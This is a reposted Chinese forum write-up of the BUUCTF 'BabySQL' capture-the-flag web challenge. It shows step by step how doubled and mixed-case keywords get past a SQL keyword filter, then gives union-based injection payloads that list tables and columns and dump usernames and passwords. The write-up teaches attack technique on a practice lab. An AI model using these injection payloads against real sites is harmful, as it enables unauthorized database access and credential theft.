• 售前

  • 售后

热门帖子
入门百科

buuctf初学者学习记录--web第七题

[复制链接]
里干整团 显示全部楼层 发表于 2022-1-12 18:04:02 |阅读模式 打印 上一主题 下一主题
web
第七题
[极客大挑战 2019]BabySQL
打开靶场

根据提示,作者很可能对输入进行了过滤
仍旧先尝试永真式进行登陆


根据报错提示,or应该是被过滤掉了
那么就要想到绕过过滤的方法
参考:SQL注入 绕过and和or过滤
这里可以使用双写加大小写OorR或者使用 || 进行绕过

得到admin账号和密码,与我做的第五题web第五题一样,密码解密不出来,没什么用
既然有报错,那么肯定存在sql注入,尝试常规的注入手段
猜解字段数


看来or 和by 都被过滤了
参考了一下大佬的文章:SQL注入一些过滤及绕过总结
首先尝试使用注释进行绕过


看来*也被过滤了,但是可以发现by还在,那么双写应该可以通过
尝试双写加大小写绕过


看来已经绕过了,但是字段数不是4
尝试3

没有报错,那么字段数为3
接下来就要使用联合查询
  1. <code>1' union select 1,2,3 #
复制代码

显然,union和select也被过滤掉
由上面可知,*被过滤了,那么注释绕过行不通,还是尝试双关键字加大小写进行尝试
  1. <code>1' UnunionIoN SeSeLectLeCt 1,2,3 #
复制代码

成功!
回显字段为2,3
查询数据库中的表名,注意查询语句中的or也要进行绕过,尝试
  1. <code>1' UnunionIoN SesEleCtlEcT 1,2,group_concat(table_name) from infOorrmation_schema.tables where table_schema=database() #
复制代码

看来information_schema前面的某个东西和where也被过滤了,猜测是from被过滤,进行绕过尝试
  1. <code>1' UnunionIoN SesEleCtlEcT 1,2,group_concat(table_name) frofromm infoOrrmation_schema.tables wherwheree table_schema=database() #
复制代码

猜测成功,得到数据库有2张表,根据上面拿到的用户名和密码,猜测登陆页面的查询来自geekeruser,猜测flag在b4bsql表中
对b4bsql表进行查询
  1. <code>1' UnunionIoN SesEleCtlEcT 1,2,group_concat(column_name) frofromm infoORrmation_schema.columns whwhereere table_name='b4bsql' #
复制代码

额。。和我做的第五题好像 第五题
直接查询表中信息
  1. <code>1' UnunionIoN SesEleCtlEcT 1,username,passwoORrd frofromm b4bsql whwhereere id=1 #
复制代码

id=2

id=3


id=8


来源:https://blog.caogenba.net/pakho_C/article/details/122416341
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x

帖子地址: 

回复

使用道具 举报

分享
推广
火星云矿 | 预约S19Pro,享500抵1000!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

草根技术分享(草根吧)是全球知名中文IT技术交流平台,创建于2021年,包含原创博客、精品问答、职业培训、技术社区、资源下载等产品服务,提供原创、优质、完整内容的专业IT技术开发社区。
  • 官方手机版

  • 微信公众号

  • 商务合作